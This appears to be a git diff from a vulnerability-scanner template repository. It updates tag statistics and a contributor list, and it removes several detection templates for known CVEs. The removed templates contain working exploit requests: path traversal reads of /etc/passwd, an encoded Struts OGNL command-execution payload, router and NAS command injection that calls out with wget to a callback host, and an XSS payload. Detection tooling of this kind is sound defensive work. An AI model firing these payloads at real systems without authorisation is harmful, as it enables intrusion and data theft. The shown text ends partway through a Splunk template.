-{"tags":[{"name":"cve","count":1552},{"name":"panel","count":780},{"name":"edb","count":582},{"name":"exposure","count":551},{"name":"xss","count":543},{"name":"lfi","count":519},{"name":"wordpress","count":471},{"name":"cve2021","count":370},{"name":"wp-plugin","count":366},{"name":"tech","count":360},{"name":"rce","count":347},{"name":"packetstorm","count":292},{"name":"cve2022","count":266},{"name":"wpscan","count":256},{"name":"token-spray","count":236},{"name":"misconfig","count":228},{"name":"cve2020","count":224},{"name":"","count":195},{"name":"unauth","count":194},{"name":"wp","count":188},{"name":"kev","count":168},{"name":"config","count":167},{"name":"cve2018","count":145},{"name":"cve2019","count":137},{"name":"joomla","count":135},{"name":"default-login","count":133},{"name":"apache","count":127},{"name":"oast","count":127},{"name":"iot","count":125},{"name":"authenticated","count":121},{"name":"sqli","count":118},{"name":"cve2010","count":111},{"name":"files","count":92},{"name":"router","count":92},{"name":"redirect","count":90},{"name":"login","count":89},{"name":"network","count":81},{"name":"takeover","count":75},{"name":"devops","count":75},{"name":"token","count":74},{"name":"ssrf","count":72},{"name":"cve2017","count":71},{"name":"cms","count":67},{"name":"auth-bypass","count":66},{"name":"file","count":65},{"name":"oracle","count":63},{"name":"intrusive","count":60},{"name":"install","count":59},{"name":"disclosure","count":57},{"name":"seclists","count":57},{"name":"oss","count":52},{"name":"cisco","count":50},{"name":"cve2016","count":49},{"name":"google","count":48},{"name":"cve2015","count":47},{"name":"fileupload","count":47},{"name":"adobe","count":45},{"name":"aem","count":42},{"name":"plugin","count":41},{"name":"cve2014","count":41},{"name":"hackerone","count":39},{"name":"vmware","count":38},{"name":"vulhub","count":38},{"name":"logs","count":38},{"name":"atlassian","count":38},{"name":"debug","count":37},{"name":"tenable","count":36},{"name":"springboot","count":35},{"name":"traversal","count":35},{"name":"injection","count":34},{"name":"jira","count":32},{"name":"huntr","count":31},{"name":"listing","count":31},{"name":"kubernetes","count":30},{"name":"generic","count":28},{"name":"dns","count":27},{"name":"log4j","count":26},{"name":"cnvd","count":25},{"name":"sap","count":25},{"name":"microsoft","count":25},{"name":"misc","count":23},{"name":"jndi","count":23},{"name":"proxy","count":23},{"name":"aws","count":23},{"name":"fuzz","count":22},{"name":"php","count":22},{"name":"api","count":21},{"name":"zoho","count":21},{"name":"manageengine","count":21},{"name":"cve2012","count":21},{"name":"wp-theme","count":21},{"name":"cloud","count":20},{"name":"weblogic","count":20},{"name":"tomcat","count":19},{"name":"k8s","count":19},{"name":"camera","count":19},{"name":"ibm","count":19},{"name":"cicd","count":19},{"name":"deserialization","count":19},{"name":"gitlab","count":18},{"name":"dlink","count":18},{"name":"firewall","count":17},{"name":"service","count":17},{"name":"jenkins","count":17},{"name":"wavlink","count":17},{"name":"struts","count":17},{"name":"ftp","count":16},{"name":"printer","count":16},{"name":"nginx","count":15},{"name":"xxe","count":15},{"name":"cve2011","count":15},{"name":"cve2009","count":15},{"name":"fortinet","count":15},{"name":"java","count":14},{"name":"domainmod","count":14},{"name":"hp","count":14},{"name":"android","count":14},{"name":"confluence","count":13},{"name":"woocommerce","count":13},{"name":"cve2008","count":13},{"name":"status","count":13},{"name":"msf","count":13},{"name":"amazon","count":13},{"name":"abstractapi","count":13},{"name":"cve2013","count":13},{"name":"lfr","count":13},{"name":"magento","count":13},{"name":"drupal","count":12},{"name":"microweber","count":12},{"name":"github","count":12},{"name":"netgear","count":12},{"name":"rails","count":12},{"name":"fortigate","count":12},{"name":"vpn","count":12},{"name":"backup","count":12},{"name":"ruijie","count":12},{"name":"netsweeper","count":12},{"name":"graphql","count":12},{"name":"webserver","count":11},{"name":"zyxel","count":11},{"name":"azure","count":11},{"name":"ssl","count":11},{"name":"cnvd2021","count":11},{"name":"backdoor","count":11},{"name":"mail","count":11},{"name":"cisa","count":11},{"name":"airflow","count":11},{"name":"laravel","count":10},{"name":"django","count":10},{"name":"git","count":10},{"name":"dell","count":10},{"name":"grafana","count":10},{"name":"glpi","count":10},{"name":"ruby","count":10},{"name":"jolokia","count":10},{"name":"spring","count":10},{"name":"coldfusion","count":10},{"name":"ssti","count":9},{"name":"fastjson","count":9},{"name":"kube","count":9},{"name":"phpmyadmin","count":9},{"name":"prometheus","count":9},{"name":"windows","count":9},{"name":"ssh","count":9},{"name":"zimbra","count":9},{"name":"versa","count":9},{"name":"vcenter","count":9},{"name":"sonicwall","count":9},{"name":"dedecms","count":9},{"name":"iis","count":9},{Line truncated
+{"tags":[{"name":"cve","count":1908},{"name":"panel","count":909},{"name":"wordpress","count":787},{"name":"exposure","count":692},{"name":"wp-plugin","count":678},{"name":"xss","count":660},{"name":"osint","count":652},{"name":"tech","count":614},{"name":"edb","count":597},{"name":"lfi","count":557},{"name":"cve2021","count":434},{"name":"rce","count":427},{"name":"cve2022","count":401},{"name":"packetstorm","count":369},{"name":"wpscan","count":348},{"name":"misconfig","count":305},{"name":"wp","count":291},{"name":"unauth","count":272},{"name":"token-spray","count":240},{"name":"cve2020","count":237},{"name":"top-200","count":208},{"name":"osint-social","count":207},{"name":"authenticated","count":204},{"name":"sqli","count":203},{"name":"kev","count":200},{"name":"config","count":195},{"name":"","count":194},{"name":"oast","count":169},{"name":"token","count":157},{"name":"apache","count":151},{"name":"cve2018","count":150},{"name":"iot","count":149},{"name":"cve2019","count":148},{"name":"default-login","count":147},{"name":"joomla","count":136},{"name":"file","count":135},{"name":"login","count":130},{"name":"redirect","count":115},{"name":"cve2010","count":112},{"name":"top-100","count":100},{"name":"files","count":100},{"name":"cve2023","count":99},{"name":"router","count":97},{"name":"network","count":96},{"name":"ssrf","count":96},{"name":"cms","count":95},{"name":"auth-bypass","count":79},{"name":"cve2017","count":77},{"name":"devops","count":77},{"name":"takeover","count":73},{"name":"intrusive","count":72},{"name":"install","count":70},{"name":"disclosure","count":68},{"name":"oracle","count":65},{"name":"seclists","count":60},{"name":"oss","count":57},{"name":"cve2015","count":54},{"name":"cisco","count":53},{"name":"google","count":53},{"name":"cve2016","count":52},{"name":"detect","count":51},{"name":"adobe","count":50},{"name":"fileupload","count":50},{"name":"tenable","count":46},{"name":"logs","count":46},{"name":"atlassian","count":45},{"name":"osint-gaming","count":45},{"name":"vmware","count":45},{"name":"aem","count":44},{"name":"vulhub","count":44},{"name":"debug","count":44},{"name":"plugin","count":43},{"name":"cve2014","count":42},{"name":"hackerone","count":42},{"name":"osint-hobby","count":42},{"name":"osint-porn","count":42},{"name":"huntr","count":40},{"name":"generic","count":37},{"name":"traversal","count":37},{"name":"springboot","count":36},{"name":"jira","count":36},{"name":"kubernetes","count":35},{"name":"aws","count":35},{"name":"osint-misc","count":35},{"name":"injection","count":34},{"name":"listing","count":33},{"name":"deserialization","count":31},{"name":"osint-coding","count":29},{"name":"sap","count":29},{"name":"osint-tech","count":28},{"name":"log4j","count":28},{"name":"cnvd","count":28},{"name":"gitlab","count":27},{"name":"misc","count":26},{"name":"php","count":26},{"name":"microsoft","count":26},{"name":"fuzz","count":25},{"name":"proxy","count":25},{"name":"jndi","count":25},{"name":"osint-business","count":24},{"name":"firewall","count":24},{"name":"osint-finance","count":24},{"name":"cve2012","count":24},{"name":"api","count":24},{"name":"manageengine","count":24},{"name":"osint-images","count":24},{"name":"osint-shopping","count":24},{"name":"amazon","count":23},{"name":"k8s","count":23},{"name":"zoho","count":23},{"name":"wp-theme","count":22},{"name":"c2","count":21},{"name":"weblogic","count":21},{"name":"msf","count":21},{"name":"cloud","count":21},{"name":"tomcat","count":21},{"name":"ibm","count":21},{"name":"fortinet","count":20},{"name":"cicd","count":20},{"name":"jenkins","count":19},{"name":"dns","count":19},{"name":"camera","count":19},{"name":"dlink","count":19},{"name":"ssl","count":19},{"name":"struts","count":19},{"name":"github","count":19},{"name":"admin","count":18},{"name":"wavlink","count":18},{"name":"osint-music","count":18},{"name":"ftp","count":18},{"name":"service","count":18},{"name":"lfr","count":18},{"name":"ir","count":17},{"name":"cve2011","count":17},{"name":"xxe","count":16},{"name":"nginx","count":16},{"name":"printer","count":16},{"name":"cve2009","count":16},{"name":"backup","count":16},{"name":"osint-blog","count":16},{"name":"hp","count":15},{"name":"android","count":15},{"name":"status","count":15},{"name":"citrix","count":15},{"name":"magento","count":15},{"name":"cve2008","count":15},{"name":"osint-health","count":14},{"name":"woocommerce","count":14},{"name":"java","count":14},{"name":"jboss","count":14},{"name":"osint-art","count":14},{"name":"audit","count":14},{"name":"confluence","count":14},{"name":"nodejs","count":14},{"name":"cve2013","count":14},{"name":"zyxel","count":14},{"name":"mail","count":14},{"name":"domainmod","count":14},{"name":"creds-stuffing","count":13},{"name":"login-check","count":13},{"name":"azure","count":13},{"name":"abstractapi","count":13},{"name":"osint-political","count":13},{"name":"osint-dating","count":13},{"name":"cuppa","count":13},{"name":"fortigate","count":13},{"name":"lLine truncated

TOP-10.md

@@ -1,12 +1,12 @@
-|    TAG    | COUNT |    AUTHOR     | COUNT |    DIRECTORY     | COUNT | SEVERITY | COUNT |  TYPE   | COUNT |
-|-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
-| cve       |  1552 | dhiyaneshdk   |   701 | cves             |  1529 | info     |  1671 | http    |  4330 |
-| panel     |   780 | daffainfo     |   662 | exposed-panels   |   782 | high     |  1152 | file    |    78 |
-| edb       |   582 | pikpikcu      |   344 | vulnerabilities  |   520 | medium   |   837 | network |    77 |
-| exposure  |   551 | pdteam        |   274 | misconfiguration |   361 | critical |   552 | dns     |    17 |
-| xss       |   543 | geeknik       |   206 | technologies     |   322 | low      |   281 |         |       |
-| lfi       |   519 | pussycat0x    |   172 | exposures        |   308 | unknown  |    25 |         |       |
-| wordpress |   471 | dwisiswant0   |   171 | token-spray      |   236 |          |       |         |       |
-| cve2021   |   370 | 0x_akoko      |   170 | workflows        |   190 |          |       |         |       |
-| wp-plugin |   366 | ritikchaddha  |   164 | default-logins   |   116 |          |       |         |       |
-| tech      |   360 | princechaddha |   153 | file             |    78 |          |       |         |       |
+|    TAG    | COUNT |    AUTHOR    | COUNT |      DIRECTORY       | COUNT | SEVERITY | COUNT | TYPE | COUNT |
+|-----------|-------|--------------|-------|----------------------|-------|----------|-------|------|-------|
+| cve       |  1908 | dhiyaneshdk  |   882 | http                 |  5970 | info     |  2907 | file |   130 |
+| panel     |   909 | dwisiswant0  |   796 | workflows            |   190 | high     |  1298 | dns  |    18 |
+| wordpress |   787 | daffainfo    |   664 | file                 |   130 | medium   |  1076 |      |       |
+| exposure  |   692 | pikpikcu     |   353 | network              |    98 | critical |   717 |      |       |
+| wp-plugin |   678 | pdteam       |   280 | ssl                  |    24 | low      |   224 |      |       |
+| xss       |   660 | pussycat0x   |   258 | dns                  |    18 | unknown  |    27 |      |       |
+| osint     |   652 | geeknik      |   221 | headless             |     9 |          |       |      |       |
+| tech      |   614 | ricardomaia  |   220 | contributors.json    |     1 |          |       |      |       |
+| edb       |   597 | ritikchaddha |   217 | cves.json            |     1 |          |       |      |       |
+| lfi       |   557 | 0x_akoko     |   179 | TEMPLATES-STATS.json |     1 |          |       |      |       |

cnvd/2017/CNVD-2017-03561.yaml

@@ -1,38 +0,0 @@
-id: CNVD-2017-03561
-
-info:
-  name: Panwei eMobile - OGNL Injection
-  author: ritikchaddha
-  severity: high
-  description: Panwei eMobile contains an object graph navigation library vulnerability. An attacker can inject arbitrary JavaScript, thus possibly obtaining sensitive information from a database, modifying data, and executing unauthorized administrative operations in the context of the affected site.
-  reference:
-    - https://gitee.com/cute-guy/Penetration_Testing_POC/blob/master/%E6%B3%9B%E5%BE%AEe-mobile%20ognl%E6%B3%A8%E5%85%A5.md
-    - https://reconshell.com/vulnerability-research-list/
-  metadata:
-    verified: true
-    fofa-query: app="泛微-eMobile"
-  tags: cnvd,cnvd2017,emobile,ognl,panwei
-
-variables:
-  num1: "9999"
-  num2: "5555"
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/login.do?message={{num1}}*{{num2}}"
-      - "{{BaseURL}}/login/login.do?message={{num1}}*{{num2}}"
-
-    stop-at-first-match: true
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - '55544445'
-
-      - type: status
-        status:
-          - 200
-
-# Enhanced by mp on 2022/09/30

cnvd/2021/CNVD-2021-10543.yaml

@@ -1,33 +0,0 @@
-id: CNVD-2021-10543
-
-info:
-  name: EEA - Information Disclosure
-  author: pikpikcu
-  severity: high
-  description: EEA is susceptible to information disclosure.
-  reference:
-    - https://www.cnvd.org.cn/flaw/show/CNVD-2021-10543
-  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
-    cvss-score: 5.3
-    cwe-id: CWE-200
-  tags: config,exposure,cnvd,cnvd2021
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/authenticationserverservlet"
-
-    matchers-condition: and
-    matchers:
-      - type: regex
-        regex:
-          - "<username>(.*?)</username>"
-          - "<password>(.*?)</password>"
-        condition: and
-
-      - type: status
-        status:
-          - 200
-
-# Enhanced by mp on 2022/07/05

contributors.json

@@ -1378,6 +1378,24 @@
             "website": "https://the-empire.systems",
             "email": ""
         }
+    },
+    {
+        "author": "noraj",
+        "links": {
+            "github": "https://github.com/noraj",
+            "twitter": "https://twitter.com/noraj_rawsec",
+            "linkedin": "",
+            "website": "https://pwn.by/noraj",
+            "email": ""
+        }
+    },{
+        "author": "mabdullah22",
+        "links": {
+            "github": "https://www.github.com/maabdullah22",
+            "twitter": "https://twitter.com/0x416264",
+            "linkedin": "",
+            "website": "",
+            "email": ""
+        }
     }
-
-]
+]

cves.json-checksum.txt

@@ -0,0 +1 @@
+4e9ea5be8a9b61669726b0fe75ee163e

cves/2012/CVE-2012-0394.yaml

@@ -1,39 +0,0 @@
-id: CVE-2012-0394
-
-info:
-  name: Apache Struts Dev Mode OGNL Injection
-  author: tess
-  severity: critical
-  description: |
-    The DebuggingInterceptor component in Apache Struts before 2.3.1.1, when developer mode is used, allows remote attackers to execute arbitrary commands via unspecified vectors. NOTE: the vendor characterizes this behavior as not "a security vulnerability itself."
-  reference:
-    - https://www.pwntester.com/blog/2014/01/21/struts-2-devmode-an-ognl-backdoor/
-    - https://www.exploit-db.com/exploits/31434
-    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0394
-    - http://www.exploit-db.com/exploits/18329
-  classification:
-    cve-id: CVE-2012-0394
-  metadata:
-    shodan-query: html:"Struts Problem Report"
-    verified: "true"
-  tags: ognl,injection,edb,cve,cve2012,apache,struts
-
-variables:
-  first: "{{rand_int(1000, 9999)}}"
-  second: "{{rand_int(1000, 9999)}}"
-  result: "{{to_number(first)*to_number(second)}}"
-
-requests:
-  - method: GET
-    path:
-      - '{{BaseURL}}/portal/displayAPSForm.action?debug=command&expression={{first}}*{{second}}'
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        words:
-          - '{{result}}'
-
-      - type: status
-        status:
-          - 200

cves/2014/CVE-2014-4940.yaml

@@ -1,34 +0,0 @@
-id: CVE-2014-4940
-
-info:
-  name: WordPress Plugin Tera Charts - Directory Traversal
-  author: daffainfo
-  severity: high
-  description: Multiple directory traversal vulnerabilities in Tera Charts (tera-charts) plugin 0.1 for WordPress allow remote attackers to read arbitrary files via a .. (dot dot) in the fn parameter to (1) charts/treemap.php or (2) charts/zoomabletreemap.php.
-  reference:
-    - https://nvd.nist.gov/vuln/detail/CVE-2014-4940
-    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=851874%40tera-charts&old=799253%40tera-charts&sfp_email=&sfph_mail=
-    - http://codevigilant.com/disclosure/wp-plugin-tera-chart-local-file-inclusion/
-  classification:
-    cve-id: CVE-2014-4940
-  metadata:
-    google-query: inurl:"/wp-content/plugins/tera-charts"
-  tags: cve,cve2014,wordpress,wp-plugin,lfi
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/wp-content/plugins/tera-charts/charts/zoomabletreemap.php?fn=../../../../../etc/passwd"
-
-    matchers-condition: and
-    matchers:
-
-      - type: regex
-        regex:
-          - "root:.*:0:0:"
-
-      - type: status
-        status:
-          - 200
-
-# Enhanced by mp on 2022/02/24

cves/2014/CVE-2014-5111.yaml

@@ -1,32 +0,0 @@
-id: CVE-2014-5111
-
-info:
-  name: Fonality trixbox - Directory Traversal
-  author: daffainfo
-  severity: high
-  description: Multiple directory traversal vulnerabilities in Fonality trixbox allow remote attackers to read arbitrary files via a .. (dot dot) in the lang parameter to (1) home/index.php, (2) asterisk_info/asterisk_info.php, (3) repo/repo.php, or (4) endpointcfg/endpointcfg.php in maint/modules/.
-  reference:
-    - https://www.exploit-db.com/exploits/39351
-    - https://nvd.nist.gov/vuln/detail/CVE-2014-5111
-    - http://packetstormsecurity.com/files/127522/Trixbox-XSS-LFI-SQL-Injection-Code-Execution.html
-  classification:
-    cve-id: CVE-2014-5111
-  tags: packetstorm,cve,cve2014,lfi,trixbox,edb
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/maint/modules/endpointcfg/endpointcfg.php?lang=../../../../../../../../etc/passwd%00"
-
-    matchers-condition: and
-    matchers:
-
-      - type: regex
-        regex:
-          - "root:.*:0:0:"
-
-      - type: status
-        status:
-          - 200
-
-# Enhanced by mp on 2022/02/24

cves/2016/CVE-2016-6601.yaml

@@ -1,32 +0,0 @@
-id: CVE-2016-6601
-
-info:
-  name: ZOHO WebNMS Framework 5.2 and 5.2 SP1 - Directory Traversal
-  author: 0x_Akoko
-  severity: high
-  description: Directory traversal vulnerability in the file download functionality in ZOHO WebNMS Framework 5.2 and 5.2 SP1 allows remote attackers to read arbitrary files via a .. (dot dot) in the fileName parameter to servlets/FetchFile
-  reference:
-    - https://github.com/pedrib/PoC/blob/master/advisories/webnms-5.2-sp1-pwn.txt
-    - https://www.exploit-db.com/exploits/40229/
-    - https://nvd.nist.gov/vuln/detail/CVE-2016-6601
-  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
-    cvss-score: 7.5
-    cve-id: CVE-2016-6601
-    cwe-id: CWE-22
-  tags: edb,cve,cve2016,zoho,lfi,webnms
-
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/servlets/FetchFile?fileName=../../../etc/passwd"
-
-    matchers-condition: and
-    matchers:
-      - type: regex
-        regex:
-          - "root:.*:0:0"
-
-      - type: status
-        status:
-          - 200

cves/2017/CVE-2017-14186.yaml

@@ -1,42 +0,0 @@
-id: CVE-2017-14186
-
-info:
-  name: FortiGate SSL VPN Web Portal - Cross Site Scripting
-  author: johnk3r
-  severity: medium
-  description: |
-    Failure to sanitize the login redir parameter in the SSL-VPN web portal may allow an attacker to perform a Cross-site Scripting (XSS) or an URL Redirection attack.
-  reference:
-    - https://www.fortiguard.com/psirt/FG-IR-17-242
-    - https://nvd.nist.gov/vuln/detail/CVE-2017-14186
-    - https://fortiguard.com/advisory/FG-IR-17-242
-    - https://web.archive.org/web/20210801135714/http://www.securitytracker.com/id/1039891
-  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
-    cvss-score: 5.4
-    cve-id: CVE-2017-14186
-    cwe-id: CWE-79
-  metadata:
-    shodan-query: port:10443 http.favicon.hash:945408572
-    verified: "true"
-  tags: cve,cve2017,fortigate,xss,fortinet
-requests:
-  - method: GET
-    path:
-      - "{{BaseURL}}/remote/loginredir?redir=javascript:alert(document.domain)"
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body
-        words:
-          - 'location=decodeURIComponent("javascript%3Aalert%28document.domain%29"'
-
-      - type: word
-        part: header
-        words:
-          - "text/html"
-
-      - type: status
-        status:
-          - 200

cves/2017/CVE-2017-5638.yaml

@@ -1,35 +0,0 @@
-id: CVE-2017-5638
-
-info:
-  name: Apache Struts 2 - Remote Command Execution
-  author: Random_Robbie
-  severity: critical
-  description: Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1 is vulnerable to remote command injection attacks through incorrectly parsing an attacker's invalid Content-Type HTTP header. The Struts vulnerability allows these commands to be executed under the privileges of the Web server.
-  reference:
-    - https://github.com/mazen160/struts-pwn
-    - https://nvd.nist.gov/vuln/detail/CVE-2017-5638
-    - https://isc.sans.edu/diary/22169
-    - https://github.com/rapid7/metasploit-framework/issues/8064
-  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
-    cvss-score: 10
-    cve-id: CVE-2017-5638
-    cwe-id: CWE-20
-  tags: apache,kev,msf,cve,cve2017,struts,rce
-
-requests:
-  - raw:
-      - |
-        GET / HTTP/1.1
-        Host: {{Hostname}}
-        Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
-        Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Hacker','Bounty Plz')}.multipart/form-data
-        Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
-
-    matchers:
-      - type: word
-        words:
-          - "X-Hacker: Bounty Plz"
-        part: header
-
-# Enhanced by mp on 2022/04/26

cves/2017/CVE-2017-5689.yaml

@@ -1,46 +0,0 @@
-id: CVE-2017-5689
-
-info:
-  name: Intel Active Management Technology - Authentication Bypass
-  author: pdteam
-  severity: critical
-  description: |
-    An unprivileged network attacker could gain system privileges to provisioned Intel manageability SKUs: Intel Active Management Technology (AMT) and Intel Standard Manageability (ISM). An unprivileged local attacker could provision manageability features gaining unprivileged network or local system privileges on Intel manageability SKUs: Intel Active Management Technology (AMT), Intel Standard Manageability (ISM), and Intel Small Business Technology (SBT).
-  reference:
-    - https://security-center.intel.com/advisory.aspx?intelid=INTEL-SA-00075&languageid=en-fr
-    - https://www.tenable.com/blog/rediscovering-the-intel-amt-vulnerability
-    - https://www.embedi.com/news/mythbusters-cve-2017-5689
-    - https://www.embedi.com/files/white-papers/Silent-Bob-is-Silent.pdf
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2017-5689
-  metadata:
-    shodan-query: title:"Active Management Technology"
-    verified: "true"
-  tags: cve,cve2017,amt,intel,tenable,kev
-
-requests:
-  - raw:
-      - |
-        GET / HTTP/1.1
-        Host: {{Hostname}}
-
-      - |
-        GET /hw-sys.htm HTTP/1.1
-        Host: {{Hostname}}
-
-    digest-username: admin
-    req-condition: true
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: body_2
-        words:
-          - "System Status"
-          - "Active Management Technology"
-        condition: and
-
-      - type: status
-        status:
-          - 200

cves/2017/CVE-2017-9791.yaml

@@ -1,45 +0,0 @@
-id: CVE-2017-9791
-
-info:
-  name: Apache Struts2 S2-053 - Remote Code Execution
-  author: pikpikcu
-  severity: critical
-  description: Apache Struts 2.1.x and 2.3.x  with the Struts 1 plugin might allow remote code execution via a malicious field value passed in a raw message to the ActionMessage.
-  reference:
-    - http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-9805-3889403.html
-    - http://struts.apache.org/docs/s2-048.html
-    - http://web.archive.org/web/20211207175819/https://securitytracker.com/id/1038838
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2017-9791
-    cwe-id: CWE-20
-  tags: cve,cve2017,apache,rce,struts,kev
-
-requests:
-  - method: POST
-    path:
-      - "{{BaseURL}}/integration/saveGangster.action"
-    headers:
-      Content-Type: application/x-www-form-urlencoded
-    body: |
-      name=%25%7b%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3f%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3d%23%64%6d%29%3a%28%28%23%63%6f%6e%74%61%69%6e%65%72%3d%23%63%6f%6e%74%65%78%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%3d%23%63%6f%6e%74%61%69%6e%65%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%6f%6e%74%65%78%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%29%29%2e%28%23%71%3d%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%74%6f%53%74%72%69%6e%67%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%40%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%27%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%27%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%2e%28%23%71%29%7d&age=10&__checkbox_bustedBefore=true&description=
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: header
-        words:
-          - "Content-Type: text/html"
-
-      - type: regex
-        part: body
-        regex:
-          - "root:.*:0:0:"
-        condition: and
-
-      - type: status
-        status:
-          - 200
-
-# Enhanced by mp on 2022/05/11

cves/2018/CVE-2018-10562.yaml

@@ -1,41 +0,0 @@
-id: CVE-2018-10562
-
-info:
-  name: Dasan GPON Devices - Remote Code Execution
-  author: gy741
-  severity: critical
-  description: Dasan GPON home routers are susceptible to command injection which can occur via the dest_host parameter in a diag_action=ping request to a GponForm/diag_Form URI. Because the router saves ping results in /tmp and transmits them to the user when the user revisits /diag.html, it's quite simple to execute commands and retrieve their output.
-  reference:
-    - https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router
-    - https://github.com/f3d0x0/GPON/blob/master/gpon_rce.py
-    - https://nvd.nist.gov/vuln/detail/CVE-2018-10562
-    - https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router/
-  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cve-id: CVE-2018-10562
-    cwe-id: CWE-78
-  tags: cve,cve2018,dasan,gpon,rce,oast,kev
-
-requests:
-  - raw:
-      - |
-        POST /GponForm/diag_Form?images/ HTTP/1.1
-        Host: {{Hostname}}
-
-        XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox wget http://{{interactsh-url}}`;busybox wget http://{{interactsh-url}}&ipv=0
-
-      - |
-        POST /GponForm/diag_Form?images/ HTTP/1.1
-        Host: {{Hostname}}
-
-        XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`wget http://{{interactsh-url}}`;wget http://{{interactsh-url}}&ipv=0
-
-    stop-at-first-match: true
-    matchers:
-      - type: word
-        part: interactsh_protocol # Confirms the HTTP Interaction
-        words:
-          - "http"
-
-# Enhanced by mp on 2022/05/12

cves/2018/CVE-2018-10818.yaml

@@ -1,43 +0,0 @@
-id: CVE-2018-10818
-
-info:
-  name: LG NAS Devices - Remote Code Execution
-  author: gy741
-  severity: critical
-  description: LG NAS devices contain a pre-auth remote command injection via the "password" parameter.
-  reference:
-    - https://www.vpnmentor.com/blog/critical-vulnerability-found-majority-lg-nas-devices/
-    - https://medium.com/@0x616163/lg-n1a1-unauthenticated-remote-command-injection-cve-2018-14839-9d2cf760e247
-    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-10818
-  classification:
-    cve-id: CVE-2018-10818
-  tags: cve,cve2018,lg-nas,rce,oast,injection
-
-requests:
-  - raw:
-      - |
-        POST /system/sharedir.php HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded
-
-        &uid=10; wget http://{{interactsh-url}}
-
-      - |
-        POST /en/php/usb_sync.php HTTP/1.1
-        Host: {{Hostname}}
-        Content-Type: application/x-www-form-urlencoded
-
-        &act=sync&task_number=1;wget http://{{interactsh-url}}
-
-    matchers-condition: and
-    matchers:
-      - type: word
-        part: interactsh_protocol # Confirms the HTTP Interaction
-        words:
-          - "http"
-
-      - type: status
-        status:
-          - 200
-
-# Enhanced by mp on 2022/04/26

cves/2018/CVE-2018-11409.yaml

@@ -1,32 +0,0 @@
-id: CVE-2018-11409
-
-info:
-  name: Splunk Sensitive Information Disclosure
-  author: harshbothra_
-  severity: medium
-  description: Splunk through 7.0.1 allows information disclosure by appending __raw/services/server/info/server-info?output_mode=json to a query, as demonstrated by discovering a license key.
-  reference:
-    - https://nvd.nist.gov/vuln/detail/CVE-2018-11409
-    - https://github.com/kofa2002/splunk
-    - https://www.exploit-db.com/exploits/44865/
-    - http://web.archive.org/web/20211208114213/https://securitytracker.com/id/1041148
-  classification:
-    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
